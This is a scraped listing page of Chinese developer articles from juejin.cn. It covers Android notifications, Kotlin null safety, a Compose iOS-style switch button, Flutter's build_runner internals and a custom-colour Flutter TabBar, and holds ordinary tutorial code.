  7. safari:这个读音真的很奇怪啊,中国人普遍读萨佛来,其实应该读【sə'fɑːrɪ】,别说了,就是拗口,我大概是改不过来了。。。

... ...

好了,好了,就这样吧,其实我觉得除了读死太丢死真的就泥马离谱之外,其他的我我觉得都问题不大!

别说那些了,就说最简单的,Java你读对了吗?


作者:艾小仙
来源:juejin.cn/post/7134344758268264478

收起阅读 »

Android通知 Notification的简单使用

在Android应用的开发中,必然会遇上通知的开发需求,本文主要讲一下Android中的通知 Notification的简单基本使用,主要包含创建通知渠道、初始化通知、显示通知、显示图片通知、通知点击、以及配合WorkManager发送延迟通知。Demo下载创...
继续阅读 »

在Android应用的开发中,必然会遇上通知的开发需求,本文主要讲一下Android中的通知 Notification的简单基本使用,主要包含创建通知渠道、初始化通知、显示通知、显示图片通知、通知点击、以及配合WorkManager发送延迟通知。

Demo下载

创建通知渠道

首先,创建几个常量和变量,其中渠道名是会显示在手机设置-通知里app对应展示的通知渠道名称,一般基于通知作用取名。

    companion object {
//渠道Id
private const val CHANNEL_ID = "渠道Id"

//渠道名
private const val CHANNEL_NAME = "渠道名-简单通知"

//渠道重要级
private const val CHANNEL_IMPORTANCE = NotificationManager.IMPORTANCE_DEFAULT
}

private lateinit var context: Context

//Notification的ID
private var notifyId = 100
private lateinit var manager: NotificationManager
private lateinit var builder: NotificationCompat.Builder

然后获取系统通知服务,创建通知渠道,其中因为通知渠道是Android8.0才有的,所以增加一个版本判断:

        //获取系统通知服务
manager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
//创建通知渠道,Android8.0及以上需要
createChannel()
    private fun createChannel() {
//创建通知渠道,Android8.0及以上需要
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
return
}
val notificationChannel = NotificationChannel(
CHANNEL_ID,
CHANNEL_NAME,
CHANNEL_IMPORTANCE
)
manager.createNotificationChannel(notificationChannel)
}

初始化通知

先生成NotificationCompat.Builder,然后初始化通知Builder的通用配置:

        builder = NotificationCompat.Builder(context.applicationContext, CHANNEL_ID)
initNotificationBuilder()
    /**
* 初始化通知Builder的通用配置
*/
private fun initNotificationBuilder() {
builder
.setAutoCancel(true) //设置这个标志当用户单击面板就可以让通知自动取消
.setSmallIcon(R.drawable.ic_reminder) //通知的图标
.setWhen(System.currentTimeMillis()) //通知产生的时间,会在通知信息里显示
.setDefaults(Notification.DEFAULT_ALL)
}

此外builder还有setVibrate、setSound、setStyle等方法,按需配置即可。

显示通知

给builder设置需要通知需要显示的title和content,然后通过builder.build()生成生成通知Notification,manager.notify()方法将通知发送出去。

    fun configNotificationAndSend(title: String, content: String){
builder.setContentTitle(title)
.setContentText(content)
val notification = builder.build()
//发送通知
manager.notify(notifyId, notification)
//id自增
notifyId++
}

最简单的通知显示至此上面三步就完成了。

效果如下图:

image.png

显示图片通知

当通知内容过多一行展示不下时,可以通过设置

builder.setStyle(NotificationCompat.BigTextStyle().bigText(content)) //设置可以显示多行文本

这样通知就能收缩和展开,显示多行文本。 另外setStyle还可以设置图片形式的通知:

setStyle(NotificationCompat.BigPictureStyle().bigPicture(BitmapFactory.decodeResource(resources,R.drawable.logo)))//设置图片样式

效果如下图:

image.png

通知点击

目前为止的通知还只是显示,因为设置了builder.setAutoCancel(true),点击通知之后通知会自动消失,除此之外还没有其他操作。 给builder设置setContentIntent(PendingIntent)就能有通知点击之后的其他操作了。PendingIntent可以看作是对Intent的一个封装,但它不是立刻执行某个行为,而是满足某些条件或触发某些事件后才执行指定的行为。PendingIntent获取有三种方式:Activity、Service和BroadcastReceiver获取。通过对应方法PendingIntent.getActivity、PendingIntent.getBroadcast、PendingIntent.getService就能获取。 这里就示例一下PendingIntent.getBroadcast和PendingIntent.getActivity

PendingIntent.getBroadcast

首先创建一个BroadcastReceiver:

class NotificationHandleReceiver : BroadcastReceiver() {
companion object {
const val NOTIFICATION_HANDLE_ACTION = "notification_handle_action"
const val NOTIFICATION_LINK = "notificationLink"
const val TAG = "NotificationReceiver"
}

override fun onReceive(context: Context, intent: Intent?) {
if (intent?.action == NOTIFICATION_HANDLE_ACTION) {
val link = intent.getStringExtra(NOTIFICATION_LINK)
}
}
}

别忘了在清单文件中还需要静态注册BroadcastReceiver:

    <receiver
android:name=".NotificationHandleReceiver"
android:exported="false">
<intent-filter>
<action android:name="notification_handle_action" />
</intent-filter>
</receiver>

然后创建一个上面BroadcastReceiver的Intent,在intent.putExtra传入相应的点击通知之后需要识别的操作:

   fun generateDefaultBroadcastPendingIntent(linkParams: (() -> String)?): PendingIntent {
val intent = Intent(NotificationHandleReceiver.NOTIFICATION_HANDLE_ACTION)
intent.setPackage(context.packageName)
linkParams?.let {
val params = it.invoke()
intent.putExtra(NotificationHandleReceiver.NOTIFICATION_LINK, params)
}
return PendingIntent.getBroadcast(
context,
notifyId,
intent,
PendingIntent.FLAG_IMMUTABLE
)
}

这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,NotificationHandleReceiver的onReceive里就会收到信息了,根据信息处理后续操作即可。

PendingIntent. getActivity

Activity的PendingIntent用于跳转到指定activity,创建一个跳转activity的Intent(同普通的页面跳转的Intent),也是同上面在intent.putExtra传入相应的点击通知之后需要识别的操作:

        val intent = Intent(this, XXXX::class.java).apply {
putExtra("title", title).putExtra("content", content)
}
return PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE)

也是这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,就会跳转到对应的activity页面,然后intent里就会收到信息了,根据信息处理后续操作即可。

Android12之PendingIntent特性

行为变更:以 Android 12 为目标平台的应用

查看上面关于Android12的特性

在Android12平台上有关于PendingIntent的两点特性:

  • 一是待处理 intent 可变性,必须为应用创建的每个 PendingIntent 对象指定可变性,这也是上面创建PendingIntent时需要设置flag为PendingIntent.FLAG_IMMUTABLE。
  • 二是通知 trampoline 限制,以 Android 12 或更高版本为目标平台的应用无法从用作通知 trampoline 的服务广播接收器中启动 activity。换言之,当用户点按通知或通知中的操作按钮时,您的应用无法在服务或广播接收器内调用 startActivity()。所以当需要点击通知实现activity跳转时,需要使用PendingIntent. getActivity,而不是使用PendingIntent.getBroadcast,然后在BroadcastReceiver里实现activity跳转,后者方式在Android 12 或更高版本为目标平台的应用中将被限制。

配合WorkManager发送延迟通知

配合上WorkManager,就能实现发送延迟通知,主要是通过OneTimeWorkRequest的延迟特性。

创建一个延迟的OneTimeWorkRequest,加入WorkManager队列中:

    fun sendWorkRequest(
context: Context,
reminderId: Int,
title: String,
content: String,
link: String,
triggerTime: Long
): OneTimeWorkRequest {
val duration = triggerTime - System.currentTimeMillis()
val data =
Data.Builder().putInt(REMINDER_WORKER_DATA_ID, reminderId).putString(REMINDER_WORKER_DATA_TITLE, title)
.putString(REMINDER_WORKER_DATA_CONTENT, content).putString(REMINDER_WORKER_DATA_LINK, link)
.build()
val uniqueWorkName =
"reminderData_${reminderId}"
val request = OneTimeWorkRequest.Builder(ReminderWorker::class.java)
.setInitialDelay(duration, TimeUnit.MILLISECONDS)
.setInputData(data)
.build()
WorkManager.getInstance(context)
.enqueueUniqueWork(uniqueWorkName, ExistingWorkPolicy.REPLACE, request)
return request
}

然后在doWork方法中拿到数据进行我们上面的通知发送显示即可。具体关于OneTimeWorkRequest的使用在本文中就不详细说明了。当需要发送延迟通知时,知道可以通过配合WorkManager实现。

Android13 通知权限

在目前最新的Android 13(API 级别 33)上对于通知增加了权限限制,具体可看官方描述:

通知运行时权限


作者:愿天深海
链接:https://juejin.cn/post/7134229758179016717
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

浅谈Kotlin编程-Kotlin空值处理

前言 许多编程语⾔(包括 Java)中最常⻅的错误之⼀,就是访问空成员会导致空异常(NullPointerException 或简称 NPE)。 开发中,经常会遇到空指针异常,如果对这个问题处理不当,还会引起程序的崩溃(crash),在Kotlin中,为了避免...
继续阅读 »

前言


许多编程语⾔(包括 Java)中最常⻅的错误之⼀,就是访问空成员会导致空异常(NullPointerException 或简称 NPE)。


开发中,经常会遇到空指针异常,如果对这个问题处理不当,还会引起程序的崩溃(crash),在Kotlin中,为了避免出现空指针异常,引入了 Null机制,本篇就来了解一下Kotlin中的 Null机制


本文总览


Kotlin空值处理.png


1. 可空类型变量(?)


Kotlin中把变量分成了两种类型



  • 可空类型变量

  • 非空类型变量


通常,一个变量默认是非空类型。若要变量的值可以为空,必须在声明处的数据类型后添加 ? 来标识该变量可为空。如下示例:


var phone: String   //声明非空变量 
var price: Int? //声明可空变量

上述代码中,phone 为非空变量,price 为可空变量。若给变量name赋值为null,编译器会提示“Null can not be a value of a non-null type String”错误信息。引起这个错误的原因是Kotlin官方约定变量默认为非空类型时,该变量不能赋值为null, 而price 赋值为null,编译可以通过。


声明可空变量时,若不知道初始值,则需将其赋值为null,否则会报“variable price must be initialized”异常信息。


通过一段示例代码来学习如何判断变量是否为空,以及如何使用可空变量:


fun main() {
var name: String = "Any" // 非空变量
var phone: String? = null // 可空变量
if (phone != null) {
print(phone.length)
} else {
phone = "12345678901"
print("phone = " + phone)
}
}

运行结果:


phone = 12345678901

上述代码,定义一个非空变量 name,一个可空变量 phone。这段示例代码对可空变量进行判断,如果 phone 不为空则输出 phone的长度,否则将phone赋值为12345678901并打印输出。


2. 安全调用符(?.)


上一点的示例中,可空变量在使用时需要先通过if…else判断,然后再进行相应的操作,这样使用还是比较繁琐。Kotlin提供了一个安全调用符?.,用于调用可空类型变量中的成员方法或属性,语法格式为“变量?.成员”。其作用是先判断变量是否为null,如果不为null才调用变量的成员方法或者属性。


fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length
println(result)
}

运行结果:


null

结果可以看出,在使用?.调用可空变量的属性时,若当前变量为空,则程序编译正常运行,且返回一个null值。


3. Elvis操作符(?:)


安全调用符调用可空变量中的成员方法或属性时,如果当前变量为空,则返回一个null值,但有时不想返回一个null值而是指定一个默认值,该如何处理呢?Kotlin中提供了一个Elvis操作符(?:),通过Elvis操作符(?:)可以指定可空变量为null时,调用该变量中的成员方法或属性的返回值,其语法格式为 表达式 ?: 表达式 。若左边表达式非空,则返回左边表达式的值,否则返回右边表达式的值。


fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length ?: "12345678901"
println(result)
}

运行结果:


12345678901

从结果可以看出,当变量phone为空时,使用?:操作符会返回指定的默认值“12345678901”,而非null值。


4. 非空断言(!!.)


除了使用安全调用符(?.)来使用可空类型的变量之外,还可以通过非空断言(!!.)来调用可空类型变量的成员方法或属性。使用非空断言时,调用变量成员方法或属性的语法结构为 “变量!!.成员” 。非空断言(!!.)会将任何变量(可空类型变量或者非空类型变量)转换为非空类型的变量,若该变量为空则抛出异常。接下来我们通过一个例子来演示非空断言(!!.)的使用,具体代码如下所示。


fun main() {
var phone: String? = null // 声明可空类型变量
var result = phone!!.length // 使用非空断言
println(result)
}

运行结果:


Exception in thread"main"kotlin.KotlinNullPointerException
at NoEmptyAssertionKt.main
(NoEmptyAssertion.kt:4)

运行结果抛出了空指针异常,若变量phone赋值不为空,则程序可以正常运行。

安全调用符与非空断言运算符都可以调用可空变量的方法,但是在使用时有一定的差别,如表所示。






















操作符安全是否推荐
安全调用符(?.)当变量值为null时,不会抛出异常,更安全推荐使用
非空断言(!!)当变量值为null时,会抛出异常,不安全可空类型变量经过非空断言后,这个变量变为非空变量,非空变量为null时,会报异常,不推荐

总结


上面四种情况的介绍,可以说的很全面地囊括 kotlin 中的空处理情况,开发中应根据实际场景使用合适的操作符。


作者:南巷羽
链接:https://juejin.cn/post/7134636916514750495
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Compose制作一个“IOS”效果的SwitchButton

本文一个定制样式的SwitchButton,使用Compose来写是非常容易的,下面先来看看我们对外提供如下方法: @Composeable fun IosSwitchButton( modifier: Modifier, checked: B...
继续阅读 »

本文一个定制样式的SwitchButton,使用Compose来写是非常容易的,下面先来看看我们对外提供如下方法:


@Composeable
fun IosSwitchButton(
modifier: Modifier,
checked: Boolean,
width: Dp = 50.dp,
height: Dp = 30.dp,
// Thumb和Track的边缘间距
gapBetweenThumbAndTrackEdge: Dp = 2.dp,
checkedTrackColor: Color = Color(0xFF4D7DEE),
uncheckedTrackColor: Color = Color(0xFFC7C7C7),
onCheckedChange: ((Boolean) -> Unit)
)

我们先来实现点击切换,后面再来实现滑动切换,checked状态是需要外面(ViewModel)传过来,同样onCheckedChange回调的状态,需要同步更新到ViewModel中。


我们来简单的看看,只实现,点击切换按钮状态的效果代码:


// 定义按钮点击的状态记录
val switchONState = remember { mutableStateOf(checked) }
// Thumb的半径大小
val thumbRadius = height / 2 - gapBetweenThumbAndTrackEdge
// Thumb水平的位移
val thumbOffsetAnimX by animateFloatAsState(
targetValue = if (checked)
with(LocalDensity.current) { (width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx() }
else
with(LocalDensity.current) { (thumbRadius + gapBetweenThumbAndTrackEdge).toPx() }
)
// Track颜色动画
val trackAnimColor by animateColorAsState(
targetValue = if (checked) checkedTrackColor else uncheckedTrackColor
)

上面的准备工作做完,我们就需要用到Canvas 来绘制ThumbTrack,按钮的点击我们需要用ModifierpointerInput修饰符提供点按手势检测器:


Modifier.pointerInput(Unit) {
detectTapGestures(
onPress = { /* Called when the gesture starts */ },
onDoubleTap = { /* Called on Double Tap */ },
onLongPress = { /* Called on Long Press */ },
onTap = { /* Called on Tap */ }
)
}

看看我们的Canvas


Canvas(
modifier = modifier
.size(width = width, height = height)
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 更新切换状态
switchONState.value = !switchONState.value
onCheckedChange.invoke(switchONState.value)
}
)
}
) {
// 这里绘制Track和Thumb
}

绘制Track,我们需要更新drawRoundRectcolor值,我们使用上面根据checked状态变更后的trackAnimColor颜色值:


drawRoundRect(
color = animateTrackColor,
// 圆角
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx())
)

绘制Thumb,我们需要更新drawCircle里面的中心坐标X轴数值,我们使用状态变更后的动画值thumbOffsetAnimX


drawCircle(
color = Color.White,
// Thumb的半径
radius = thumbRadius.toPx(),
center = Offset(
x = thumbOffsetAnimX,
y = size.height / 2
)
)

上面实现只有点击功能,效果如下:


2022-08-22 20_43_58.gif
只能点击


GIF录制的效果不太明显,实际上根据大家个人的需求,如果只是为了点击能切换,上面的十几行代码就足够了;




当然我们对效果还是有追求的,请继续往下看,我们来看,如何实现滑动切换,我们还是看一下最后实现可滑动,可点击的效果吧,方便我们下面讲解:


111111.gif
可滑动,可点击,动画连贯


一定要记得:『点赞❤️+关注❤️+收藏❤️』起来,划走了可就再也找不到了😅😅🙈🙈


既然要用到滑动,那么我们就需要使用到Modifierswipeable修饰符



允许我们通过锚点设置,实现组件呈现吸附效果的动画,常用于开关等动画,需要注意的是:swipeable不会为被修饰的组件提供任何默认动画,只能为组件提供手势偏移量等信息。可以根据偏移量结合其他修饰符定制动画。



我们这里需要同时实现“点击”和“滑动”,这里需要把这2个修饰符组合到一个扩展文件里面,我们创建一个IOSSwitchModifierExtensions.kt文件:


// IOSSwitchModifierExtensions.kt

@ExperimentalMaterialApi
internal fun Modifier.swipeTrack(
anchors: Map<Float, Int>,
swipeableState: SwipeableState<Int>,
onClick: () -> Unit
) = composed {
this.then(Modifier
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 点击回调
onClick.invoke()
}
)
}
.swipeable(
state = swipeableState,
anchors = anchors,
thresholds = { _, _ ->
// 锚点间吸附效果的临界阈值
FractionalThreshold(0.3F)
},
// 水平方向
orientation = Orientation.Horizontal
)
)
}

我们下面会用到这个扩展方法,我们可以看到swipeable修饰符,需要SwipeableStateanchors


初始化swipeableState


val swipeableState = rememberSwipeableState(initialValue = 0, animationSpec = tween())

我们还需要初始化anchors设置在不同状态时对应的偏移量信息:


// Thumb的半径
val thumbRadius = (height / 2) - gapBetweenThumbAndTrackEdge
// 开始的锚点位置
val startAnchor = with(LocalDensity.current) {
(thumbRadius + gapBetweenThumbAndTrackEdge).toPx()
}
// 结束的锚点位置
val endAnchor = with(LocalDensity.current) {
(width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx()
}
// 根据上面的注释,很明显了
val anchors = mapOf(startAnchor to 0, endAnchor to 1)

到这里,我们需要如何继续呢,我仍然是通过录制视频,然后通过一帧一帧的去分析IOS样式switch动画效果来做的。


我们先看最终效果图,然后继续往下拆解:


111111.gif


可以看到,拖动Thumb的时候,灰色的矩形区域是缩小的,然后蓝色部分是一个颜色渐变动画,同样的,点击也是需要做对应的工作。


大家先思考一下,点击和滑动怎么做到一样的?


我们发现Swipeable有个animateTo方法,那这不就好使了吗?对不对


// 代码来自androidx.compose.material.Swipeable.kt
// 通过动画将状态设置为targetValue
suspend fun animateTo(targetValue: T, anim: AnimationSpec<Float> = animationSpec)

来了一个点,第二个点,第三个点,都来了:


// 因为animateTo是挂起函数,我们需要在coroutineScope.launch里面执行
val scope = rememberCoroutineScope()

从上面看到这里的小伙伴,应该知道,我们上面定义了一个IOSSwitchModifierExtensions.kt文件,我们在swipeTrack的onClick方法里面执行animateTo,其实这个animateTo只是更新我们当前的checked状态而已。


Canvas(
modifier = modifier
.size(width = width, height = height)
.swipeTrack(
anchors = anchors,
swipeableState = swipeableState,
onClick = {
scope.launch {
swipeableState.animateTo(if (!switchONState.value) 1 else 0)
}
}
)
) {
// 选中状态下的Track背景
// 未选中状态下的Track背景
// Thumb
}

接下来,应该怎么继续呢,我觉得大家可以先思考一下,再继续往下看。


刚刚上面,提到了有2个Track背景,一个背景是颜色渐变动画,一个是缩放动画。


Compose的Canvas怎么写scale呢? 别急,我们可以在源码和文档中找到Canvas#scale


不仅仅可以scale,还可以rotate、insert、translate等等。


还有一个问题,背景颜色渐变动画,我们要用animate*AsState来做吗?
animate*AsState 函数是 Compose 中最简单的动画 API,用于为单个值添加动画效果。您只需提供结束值(或目标值),该 API 就会从当前值开始向指定值播放动画。


我们发现animate*AsState并不是我们想要的,我们想要的是

滑动的时候根据“当前滑动移动的距离”来更新Track背景色渐变


没有用Compose的时候,我们可以用初始化一个ArgbEvaluator,然后调用:


argbEvaluator.evaluate(fraction, startColor, stopColor)

在Compose中,我们应该怎么做呢?
我们发现Color.kt中的一个方法lerp
androidx.compose.ui.graphics.ColorKt#lerp


上面的疑惑全部解开,下面就看看我们剩下的实现吧:


// 未选中状态下的Track的scale大小(0F - 1F)
val unCheckedTrackScale = rememberSaveable { mutableStateOf(1F) }
// 选中状态下Track的背景渐变色
val checkedTrackLerpColor by remember {
derivedStateOf {
lerp(
// 开始的颜色
uncheckedTrackColor,
// 结束的颜色
checkedTrackColor,
// 选中的Track颜色值,根据缩放值计算颜色【转换的渐变进度】
min((1F - unCheckedTrackScale.value) * 2, 1F)
)
}
}

LaunchedEffect(swipeableState.offset.value) {
val swipeOffset = swipeableState.offset.value
// 未选中的Track缩放大小
var trackScale: Float
((swipeOffset - startAnchor) / endAnchor).also {
trackScale = if (it < 0F) 0F else it
}
// 未选中的Track缩放大小更新,上面👆👆的:选中的Track颜色值,是根据这个来算的
unCheckedTrackScale.value = 1F - trackScale
// 更新开关状态
switchONState.value = swipeOffset >= endAnchor
// 回调状态
onCheckedChange.invoke(switchONState.value)
}

所以,我们的Canvas里面Track和Thumb最终颜色和缩放,是根据上面计算出来的值来更新的:


Canvas(
modifier = modifier.size(...).swipeTrack(...)
) {
// 选中状态下的背景
drawRoundRect(
//这种的不再使用:Color(ArgbEvaluator().evaluate(t, AndroidColor.RED, AndroidColor.BLUE) as Int)
color = checkedTrackLerpColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
// 未选中状态下的背景,随着滑动或者点击切换了状态,进行缩放
scale(
scaleX = unCheckedTrackScale.value,
scaleY = unCheckedTrackScale.value,
pivot = Offset(size.width * 1.0F / 2F + startAnchor, size.height * 1.0F / 2F)
) {
drawRoundRect(
color = uncheckedTrackColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
}
// Thumb
drawCircle(
color = Color.White,
radius = thumbRadius.toPx(),
center = Offset(swipeableState.offset.value, size.height / 2)
)
}

经过上面的漫长分析和实现,最终效果如下:


111111.gif


源码地址ComposeIOSSwitchButton


作者:Halifax
链接:https://juejin.cn/post/7134702107742961701
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 的 build 系统(一)

前言对于Flutter开发者来说,build_runner 可以说并不是一个陌生的东西,很多package中就要求调用build_runner 来自动生成处理代码,比如说json_serializable;但正如其描述中所述的那样,其是通过 Dart...
继续阅读 »

前言

对于Flutter开发者来说,build_runner 可以说并不是一个陌生的东西,很多package中就要求调用build_runner 来自动生成处理代码,比如说json_serializable;

但正如其描述中所述的那样,其是通过 Dart Build System来实现的,build_runner 和其又是一个什么关系,接下来就来学习一下dart的build系统

dart 的 build 系统

组成

dart 的 build系统,由 build_config、 build_modulesbuild_resolvers、 build_runner、 build_test、 build_web_compilers 共同组合、完成了dart 的 build 系统;

  • build_config 就是解析那个build.yaml文件,用来配置build_runner,没什么好说的,具体的功能后面再细说;
  • build_modules 好像是解析module级别信息的一个库
  • build_resolvers 从自述文件中分析,好像是一个给build_runner 每步提供所需信息的解析器?
  • build_runner 整个build系统的核心部分,其他部分都是为了拓展和实现此功能而存在的;
  • build_test 字面意思,一个测试库;
  • build_web_compilers 用于web端的build系统;

作用

Flutter的build系统其实就是生成代码,对标的应该是JAVA的APT这块的东西;

另外,对于 dart 的 build 系统,官方是有这么一段介绍:

Although the Dart build system is a good alternative to reflection (which has performance issues) and macros (which Dart’s compilers don’t support), it can do more than just read and write Dart code. For example, the sass_builder package implements a builder that generates .css files from .scss and .sass files.

也就是说dart build理论上是可以来做很多人心心念念的反射的;

基本使用

如果仅仅是使用方面来说,build_runner 的使用非常简单;比如说我们最常用的一条命令就是:

flutter pub run build_runner build

也可以配置build.yaml来修改配置信息,生成符合需要的代码;

不过在输入上面那句build_runner build之后发生了什么,像build_config之类的在这个过程中各自起了什么作用,这就需要追踪一下;

build_runner 都干了什么

image.png

根据日志信息,build_runner 的流程基本遵循这样一个套路:

  • 生成和预编译build脚本
  • 处理输入环境和资源
  • 根据前面的脚本和输入信息,开始正式执行builder生成代码;
  • 缓存信息,用于下一回生成代码的时候增量判断使用;

接下来就看下这些编译脚本、输入环境、资源等不知所云的东西,到底是什么;

生成和预编译build脚本

生成部分:

首先来到build_runner的main函数部分,前面一大片对参数检测的拦截判断,真正执行命令的地方放在了最后:

image.png

在这个方法中最先做的事就是生成build脚本

image.png

其内容也很简单,说白了就是输出一个文件而已:

image.png

至于这个文件内容是什么,有什么用,先放到后面再说;现在先关注于整体流程;

那么现在可以得知,这步会在scriptLocaton这个路径上生成一个build脚本;而这个路径也不难得到:

image.png image.png image.png

其实就是 .dart_tool/build/entrypoint/build.dart 这个文件;

预编译部分:

在上面贴的generateAndRun方法中,生成文件之后就会执行一个 _createKernelIfNeeded 方法,其作用也正如其名,检测是否需要就创建内核文件;

image.png

image.png

而这个内核文件,也就是后缀为build.dart.dill 文件

image.png

同时,在这里也提到了一个新的概念:assetGraph,不过这些也是后面再细看的东西;

处理输入环境和资源

在编译完build脚本生成内核后,下面就是执行这个内核文件;在这里新开了一个isolate去执行这个文件:

image.png

接下来就该看下这个内核文件到底是什么……但是呢,内核文件这东西,本来就不是给人看的………………所以呢,可以从另一方面考虑下,比如说,既然内核文件看不了,那我就看内核文件的从哪编译来的,反正逻辑上也是大差不差,完全可以参考;

正好内核文件的来源,也就是那个build脚本,其位置在上面也提到过了;在我测试代码中,它最后是这样的:

image.png 其中的这个_i10,正是build_runner……看来兜兜转转又回来了?

应该说回来了,但没完全回来,上面提到的build_runner是bin目录下的;这次的build_runner是lib目录下的,入口还是不一样的;

在这里,build_runner build中的build这个参数才真正识别并开始执行;前面都是前戏;而执行这个build命令的是一个名为BuildCommandRunner的类,其内部内置了包括build在内的诸多函数命令:

image.png

由于测试的指令参数为build,所以命中的commend为 BuildCommand;而 BuildCommand 所做的事也基本集中在 src/generate/build.dart 这个文件中的build方法中了;自此开始真正去执行build_runner对应Builder中要求做的事;

其build方法所做的事还是比较容易看懂的:

image.png

  1. 配置环境(包括输入输出配置)
  2. 配置通用选项(build时候的配置项目)
  3. 调用BuildRunner.create创建Builder和生成所需数据,最后调用run执行;

而这部分所说的处理输入环境和资源就在 BuildRunner.create 这部分中;其会调用 BuildDefinition.prepareWorkspace方法;

image.png

而在这里就出现了上面提到的assetGraph,这里就是其创建和使用的地方:

image.png

所以,最终总结一下,处理输入环境和资源 这个环节所做的事就是根据配置生成输入输出、build过程中所需的各种参数,提供assetGraph这个东西;

具体这些配置入口在哪,从何而来,assetGraph又是什么东西,有什么作用,后面再看;

正式执行builder生成代码

这部分就是刚才提到的调用run方法的地方;

image.png

它的run方法咋看好像也不难懂的样子,主要是各种新名词有点多:

image.png

不过现在只跟随build流程来说的话,核心应该事其中的_safeBuild方法:

image.png

其所做的事,除了各种心跳log之外,应该就是更新assetGraph;执行_runPhases;另外毕竟事safeBuild嘛,所以新开了一个zone来处理;

image.png

_runPhases所做的事就是真正去执行build所做的事,生成代码之类的;比如说json_serializable中的build,就会走_runBuilder部分并最终调用runBuilder中的builder.build,也就是自定义Builder中需要自己实现的部分;

image.png

对了,关于像json_serializable的自定义Builder从何而来的问题,答案是一开始就已经集成进来了,在builder.dart中已经出现了其身影:

image.png

不过为什么build.dart 能得知具体有哪些builder?比如说json_serializable中的builder,是怎么加入到build.dart中的,那也是后面要看的东西;

缓存信息

再次回到 _safeBuild 这块,缓存信息的部分紧贴着run部分:

image.png

好像就写了一下文件,没了?

结语

这篇大体粗略的过了一下build这个命令都干了什么;不过像生成的文件内部结构、作用;配置信息来源,如何解析之类的问题还未解决;在后面会依次看看;

最后尝试实现一份自己的自定义Builder;


作者:lwlizhe
链接:https://juejin.cn/post/7133488621180420126
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

【Flutter】实现自定义TabBar主题色配置

需求背景 首页开发需求要求实现每个频道具备不同主题色风格,因此需要实现TabBar每个Tab具备自己主题色。Flutter官方提供TabBar组件只支持设置选中和非选中条件标签颜色并不支持配置不同更多不同配置色,TabBar组件配置项为labelColor和u...
继续阅读 »

需求背景


首页开发需求要求实现每个频道具备不同主题色风格,因此需要实现TabBar每个Tab具备自己主题色。Flutter官方提供TabBar组件只支持设置选中和非选中条件标签颜色并不支持配置不同更多不同配置色,TabBar组件配置项为labelColorunselectedLabelColor两者。因此若需要自定义实现支持配置主题色TabBar组件。


Video_20220820_045352_279.gif


改造实现详解


TabBar切换字体抖动问题解决


这在此之前文章中有提到过解决方案,主要实现逻辑是将原先切换动画替换为缩放实现,规避了动画实现出现的抖动问题。


解决方案


TabBar切换字体主题色实现



  1. TabBar入参提供每个Tab的颜色配置: final List labelColors;

  2. 找到TabBar切换逻辑代码【_TabBarState】:【_buildStyledTab】


_buildStyledTab中TabStyle方法负责构建每个Tab样式,调整该方法增加构建当前TabStylePositioncurrentPosition,分别为对应Tab的样式和当前选中Tab的样式


Widget _buildStyledTab(Widget child,int position,int currentPosition, bool selected, Animation<double> animation,TabController controller) {
Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[position];
unselectedLabelColor = widget.labelColors[currentPosition];
return _TabStyle(
animation: animation,
selected: selected,
labelColors: widget.labelColors,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController:controller,
child: child,
);
}


  1. 调整_TabStyle方法内部逻辑


增加以下代码逻辑通过TabController获取当前选中Tab定位并且增加渐变透明度调整


// 判断是否是临近的下一个Tab
bool isNext = false;
// 透明度不好计算呀
double opacity = 0.5;
// 当前选中的Tab
int selectedValue = tabController.index;
selectedColor = labelColors[selectedValue];
// 当前偏移方向
if (tabController.offset > 0) {
unselectedColor = labelColors[selectedValue + 1];
isNext = false;
} else if (tabController.offset < 0) {
isNext = true;
unselectedColor = labelColors[selectedValue - 1];
} else {
unselectedColor = selectedColor;
}
if (unselectedColor != Color(0xFF333333)) {
opacity = 0.9;
}

final Color color = selected
? Color.lerp(selectedColor, unselectedColor.withOpacity(opacity),
colorAnimation.value)
: unBuild
? Color.lerp(selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(opacity), colorAnimation.value)
: Color.lerp(
selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(isNext ? 1 : opacity),
colorAnimation.value);


  1. CustomPaint组件同样也需要增加选中色值设置


    Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[_currentIndex];
unselectedLabelColor = widget.labelColors[_currentIndex];
final Animation<double> animation = _ChangeAnimation(_controller);

Widget magicTabBar = CustomPaint(
painter: _indicatorPainter,
child: _TabStyle(
animation: animation,
selected: false,
unBuild: true,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelColors: widget.labelColors,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController: widget.controller,
child: _TabLabelBar(
onPerformLayout: _saveTabOffsets,
children: wrappedTabs,
),
),
);

TabBar指示器自定义


官方提供TabBar的选中指示器长度是跟随Tab宽度不能做到固定宽度,且当改造TabBar主题色之后也期望指示器支持跟随主题色变化。



  1. 自定义指示器继承Decoration增加三个入参TabControllerList<Color>width

  2. _UnderlinePainter增加当前选中Tab逻辑来确定主题色选择。


    double page = 0;
int realPage = 0;
page = pageController.index + pageController.offset ?? 0;
realPage = pageController.index + pageController.offset?.floor() ?? 0;
